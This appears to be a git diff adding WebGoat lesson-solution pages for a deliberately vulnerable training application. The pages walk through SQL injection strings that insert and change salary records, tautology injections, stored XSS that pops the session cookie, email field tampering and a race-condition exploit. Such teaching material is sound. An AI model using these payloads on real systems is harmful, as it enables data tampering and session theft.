diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image011.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image011.jpg
new file mode 100644
index 000000000..fc258a811
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image011.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SqlAddData.html b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlAddData.html
new file mode 100644
index 000000000..5e0ba4aba
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlAddData.html
@@ -0,0 +1,43 @@
+
+
+
+
+Solution: Modify Data with SQL
+
+
+
+
Lesson Plan Title: Add Data with SQL
+
+
Concept / Topic To Teach:
+SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack.
+
+Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.
+
+It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries, even if the threat of SQL injection has been prevented in some other manner.
+
+
+
+
General Goal(s):
+The form below allows a user to view salaries associated with a userid (from the table named salaries). This form is vulnerable to String SQL Injection. In order to pass this lesson, use SQL Injection to add a record to the table.
+
+
+Solution:
+In this lesson, we will use the INSERT query, which uses the format:
+INSERT INTO table VALUES (value1, value2);
+In this case, the salaries table has two relevant columns: column 1 is userid, and column 2 is salary.
+We will use the command:
+INSERT INTO salaries VALUES ('rlupin',140000);
+This, however, will not work correctly. We are inserting this in between two single quotes in the command:
+SELECT * FROM salaries WHERE userid='userid';
+If we treated this lesson as we have treated the previous one, our command would look like this:
+SELECT * FROM salaries WHERE userid='whatever'; INSERT INTO salaries VALUES ('rlupin',150000);'
+The statement cannot end with a single quote after the semicolon, so we must comment out the quote using --.
+To complete this lesson, type the following into the field and press go:
+whatever'; INSERT INTO salaries VALUES ('rlupin',140000);--
+If you then search for the userid rlupin, you will see there is new record.
+
+
+New employee record after using an INSERT query.
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SqlAddData_files/image001.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlAddData_files/image001.jpg
new file mode 100644
index 000000000..025d0c4c0
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlAddData_files/image001.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SqlModifyData.html b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlModifyData.html
new file mode 100644
index 000000000..90594689a
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlModifyData.html
@@ -0,0 +1,39 @@
+
+
+
+
+Solution: Modify Data with SQL
+
+
+
+
Lesson Plan Title: Modify Data with SQL
+
+
Concept / Topic To Teach:
+SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack.
+
+Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.
+
+It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries, even if the threat of SQL injection has been prevented in some other manner.
+
+
+
+
General Goal(s):
+The form below allows a user to view salaries associated with a userid (from the table named salaries). This form is vulnerable to String SQL Injection. In order to pass this lesson, use SQL Injection to modify the salary for userid jsmith.
+
+
+Solution:
+In this lesson, instead of using the SELECT query command, we use the UPDATE command, which uses the format:
+UPDATE table SET column=value WHERE column=value;
+We need to update the table salaries, setting the salary column to a new number.
+We will use the command:
+UPDATE salaries SET salary=999999 WHERE userid='jsmith'
+We also need to end the previous query and leave our last quote open to make a valid statment.
+To complete this lesson, type the following into the field and press go:
+whatever'; UPDATE salaries SET salary=999999 WHERE userid='jsmith
+If you then search for the userid jsmith, you will see the salary has been updated.
+
+
+Updated salary after using a MODIFY query.
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SqlModifyData_files/image001.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlModifyData_files/image001.jpg
new file mode 100644
index 000000000..0b5b82073
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlModifyData_files/image001.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection.html b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection.html
new file mode 100644
index 000000000..f46d061d1
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection.html
@@ -0,0 +1,682 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: How to Perform Numeric SQL Injection
+
+
+
+
Concept /
+Topic To Teach:
+
+
+
+SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack.
+
+Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.
+
+It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries, even if the threat of SQL injection has been prevented in some other manner.
+
+
General
+Goal(s):
+
+
+The form below allows a user to view weather data. Try to inject an SQL string that results in all the weather data being displayed.
+
+
+
+
+
+
Solution:
+
+
+
+
+
+
+
The
+application is taking the input from the select box and inserting it at the end of a pre-formed
+SQL command.
+
+
Compound SQL
+statements can be made by joining multiple tests with keywords like AND and OR.
+Try appending a SQL statement that always resolves to true.
+
+
+
+
This is the
+query: SELECT * FROM weather_data WHERE station = 101
+
+
+
+
Intercept the post request with WebScarab and replace 101 with 101 or 1=1!
+
+
+
+
+
+
+
Figure 1 Intercepted Request with WebScarab
+
+
+
+
As the SQL Statement is true for every station you get
+a list of all stations:
+
+
+
+
+
+
Figure 2 All stations are visible
+
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/filelist.xml
new file mode 100644
index 000000000..ce53b8ce8
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/filelist.xml
@@ -0,0 +1,12 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image001.png
new file mode 100644
index 000000000..4876d330e
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image002.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image002.jpg
new file mode 100644
index 000000000..11fa10d47
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image002.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image003.png
new file mode 100644
index 000000000..272aa8b2b
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image004.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image004.jpg
new file mode 100644
index 000000000..38109d42f
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image004.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image005.png
new file mode 100644
index 000000000..f2868eb02
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image006.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image006.jpg
new file mode 100644
index 000000000..eb31b8e72
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image006.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/numericinjection.png b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/numericinjection.png
new file mode 100644
index 000000000..bbafec0a6
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/numericinjection.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/numericinjection_solved.png b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/numericinjection_solved.png
new file mode 100644
index 000000000..54ef52882
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/numericinjection_solved.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlNumericInjection_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SqlStringInjection.html b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlStringInjection.html
new file mode 100644
index 000000000..725648e08
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlStringInjection.html
@@ -0,0 +1,716 @@
+
+
+
+
+
+
+
+Solution: SQL String Injection
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: How to
+Perform String SQL Injection
+
+
+
+
Concept /
+Topic To Teach:
+
+
+
+
SQL injection
+attacks represent a serious threat to any database-driven site. The methods
+behind an attack are easy to learn and the damage caused can range from
+considerable to complete system compromise. Despite these risks, an incredible
+number of systems on the internet are susceptible to this form of attack.
+
+Not only is it a threat easily instigated, it is also a threat that, with a
+little common-sense and forethought, can easily be prevented.
+
+It is always good practice to sanitize all input data, especially data that
+will used in OS command, scripts, and database queries, even if the threat of
+SQL injection has been prevented in some other manner.
+
+
+
+
General
+Goal(s):
+
+
The form
+below allows a user to view their credit card numbers. Try to inject an SQL
+string that results in all the credit card numbers being displayed. Try the
+user name of 'Smith'.
+
+
+
+
Solution:
+
+
+
+
Compared with
+the previous lesson, there is now a string parameter and not an integer.
+
+
Strings must be
+terminated with single quotes to have a valid SQL Query.
+
+
+
+
+
+
Figure 1 Lesson 18
+
+
+
+
The query
+used in this lesson is: SELECT * FROM user_data WHERE last_name = 'Your Name'
+
+
+
+
Enter for the
+last name value: Erwin' OR '1'='1
+
+
+
+
+
+
Figure 2 Lesson 18 Completed
+
+
+
+
+
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SqlStringInjection_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlStringInjection_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlStringInjection_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SqlStringInjection_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlStringInjection_files/filelist.xml
new file mode 100644
index 000000000..fd0a8d509
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlStringInjection_files/filelist.xml
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SqlStringInjection_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlStringInjection_files/image001.png
new file mode 100644
index 000000000..030affe86
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlStringInjection_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SqlStringInjection_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlStringInjection_files/image003.png
new file mode 100644
index 000000000..83342678d
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlStringInjection_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SqlStringInjection_files/image005.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlStringInjection_files/image005.jpg
new file mode 100644
index 000000000..4154afc6a
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlStringInjection_files/image005.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SqlStringInjection_files/image006.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlStringInjection_files/image006.jpg
new file mode 100644
index 000000000..dbe7cb0ad
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlStringInjection_files/image006.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SqlStringInjection_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlStringInjection_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SqlStringInjection_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/filelist.xml
new file mode 100644
index 000000000..a3cfc699b
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/filelist.xml
@@ -0,0 +1,12 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/image001.png
new file mode 100644
index 000000000..1ad882b5f
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/image003.png
new file mode 100644
index 000000000..d44ec5c39
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/image005.png
new file mode 100644
index 000000000..5a5d10342
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/image007.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/image007.jpg
new file mode 100644
index 000000000..ca84b8469
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/image007.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/image008.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/image008.jpg
new file mode 100644
index 000000000..8ece60e0a
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/image008.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/image009.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/image009.jpg
new file mode 100644
index 000000000..c0313ee42
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/image009.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXSS_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXss.html b/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXss.html
new file mode 100644
index 000000000..a84fc2b40
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/StoredXss.html
@@ -0,0 +1,711 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson Plan Title: How to Perform Stored Cross Site
+Scripting (XSS)
+
+
+
+
Concept / Topic To Teach:
+
+
It is always a
+good practice to scrub all inputs, especially those inputs that will later be
+used as parameters to OS commands, scripts, and database queries. It is
+particularly important for content that will be permanently stored somewhere.
+Users should not be able to create message content that could cause another
+user to load an undesirable page or undesirable content when the user's message
+is retrieved.
+
+
+
+
General Goal(s):
+
+
The user
+should be able to add message content that cause another user to load an
+undesirable page or content.
+
+
+
+
+
+
Figure 1 Lesson 14
+
+
+
+
Solution:
+
+
+
+
Enter this: <script language="javascript"
+type="text/javascript">alert("Ha Ha Ha");</script> in the message text
+box.
+
+
+
+
Figure 2 Stored message
+
+
+
+
+
+
Figure 3 Lesson 14 nearly completed
+
+
+
+
Now enter this: <script language="javascript"
+type="text/javascript">alert(document.cookie);</script> in the message text
+box. You will get your SessionId in a popup.
Lesson
+Plan Title: How to
+Exploit Thread Safety Problems
+
+
+
+
Concept /
+Topic To Teach:
+
+
Web
+applications can handle many HTTP requests simultaneously. Developers often use
+variables that are not thread safe. Thread safety means that the fields
+of an object or class always maintain a valid state when used concurrently by
+multiple threads. It is often possible to exploit a concurrency bug by loading
+the same page as another user at the exact same time.
+Because all threads share the same method area, and the method area is where
+all class variables are stored, multiple threads can attempt to use the same
+class variables concurrently.
+
+
+
+
General
+Goal(s):
+
+
The user
+should be able to exploit the concurrency error in the web application and view
+login information for another user that is attempting the same function at the
+same time.
+
+
+
+
This will
+require the use of two browser windows.
+
+
+
+
+
+
Figure 1 Lesson 2
+
+
+
+
Solution:
+
+
+
+
Open a new
+browser window by pressing CTRL-N. Position the window so that you see both
+input fields. Enter user name "dave" in the left window and user name "jeff" in
+the right window.
+
+
Click very
+fast on the submit button in the right window and then in the left window.
+
+
+
+
+
+
Figure 2 2 Browser Windows
+
+
+
+
The result
+should be that you receive the same data in both windows, even when using a
+different user name!
+
+
+
+
Figure 3 Lesson 2 Completed
+
+
+
+
The root-cause
+of this exploit is that the Java code uses a static variable for the user name.
+When submitting twice, the same thread and hence the same static variable
+containing the username of the first request will be used.
+
+
This is
+obvious when examining the Java code:
+
+
+
+
private
+static String currentUser;
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/filelist.xml
new file mode 100644
index 000000000..010502f71
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/filelist.xml
@@ -0,0 +1,12 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image001.png
new file mode 100644
index 000000000..398af0841
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image002.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image002.jpg
new file mode 100644
index 000000000..52526d118
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image002.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image003.png
new file mode 100644
index 000000000..d22701fe3
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image004.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image004.jpg
new file mode 100644
index 000000000..4b222b8f0
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image004.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image007.png b/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image007.png
new file mode 100644
index 000000000..8c9ea75b7
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image007.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image009.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image009.jpg
new file mode 100644
index 000000000..6a1c67f50
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image009.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/TraceXSS.html b/webgoat-5.4/src/main/webapp/lesson_solutions/TraceXSS.html
new file mode 100644
index 000000000..502acdd17
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/TraceXSS.html
@@ -0,0 +1,685 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: How to
+Perform Cross Site Tracing (XST) Attacks
+
+
+
+
Concept /
+Topic To Teach:
+
+
It
+is always a good practice to scrub all input, especially those inputs that will
+later be used as parameters to OS commands, scripts, and database queries. It
+is particularly important for content that will be permanently stored somewhere
+in the application. Users should not be able to create message content that
+could cause another user to load an undesireable page or undesireable content
+when the user's message is retrieved.
+
+
+
+
General
+Goal(s):
+
+
Tomcat is
+configured to support the HTTP TRACE command. Your goal is to perform a Cross
+Site Tracing (XST) attack.
+
+
+
+
Solution:
+
+
+
+
You need to
+introduce a cross site trace attack. This can be realized by embedding the
+following script in the three digit access code.
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/TraceXSS_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/TraceXSS_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/TraceXSS_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/TraceXSS_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/TraceXSS_files/filelist.xml
new file mode 100644
index 000000000..90de9a7db
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/TraceXSS_files/filelist.xml
@@ -0,0 +1,8 @@
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/TraceXSS_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/TraceXSS_files/image001.png
new file mode 100644
index 000000000..1a73bd667
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/TraceXSS_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/TraceXSS_files/image002.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/TraceXSS_files/image002.jpg
new file mode 100644
index 000000000..fd3b3d48e
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/TraceXSS_files/image002.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/TraceXSS_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/TraceXSS_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/TraceXSS_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail.html b/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail.html
new file mode 100644
index 000000000..8ea6ca3e4
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail.html
@@ -0,0 +1,672 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson Plan Title: How to Exploit Unchecked Email
+
+
+
+
Concept / Topic To Teach:
+
+
It is always
+a good practice to validate all inputs. Most sites allow non-authenticated users
+to send e-mail to a 'friend'. This is a great mechanism for spammers to send
+out email using your corporate mail server.
+
+
+
+
General Goal(s):
+
+
The user
+should be able to send an obnoxious email message.
+
+
+
+
Solution:
+
+
Type a
+malicious script like <script>alert("XSS")</script> and click Send!
+
+
+
+
+
+
Figure 1 Lesson 5
+
+
+
+
+
+
+
+
+
+
Figure 2 Part 1 completed
+
+
+
+
The second
+part of this lesson is to send a mail to a friend from OWASP. This can be
+accomplished by intercepting the request with WebScarab and changing the hidden
+field "to" from webgoat.admin@owasp.org
+to bill.gates@microsoft.com
+
+
+
+
+
+
Figure 3 Change the variable to another e-mail
+address
+
+
+
+
+
+
Figure 4 Lesson 5 Completed
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/filelist.xml
new file mode 100644
index 000000000..679895ff7
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/filelist.xml
@@ -0,0 +1,14 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/image001.png
new file mode 100644
index 000000000..4c5655e62
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/image002.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/image002.jpg
new file mode 100644
index 000000000..62a30cf94
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/image002.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/image003.png
new file mode 100644
index 000000000..8fd3ad15c
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/image003.png differ
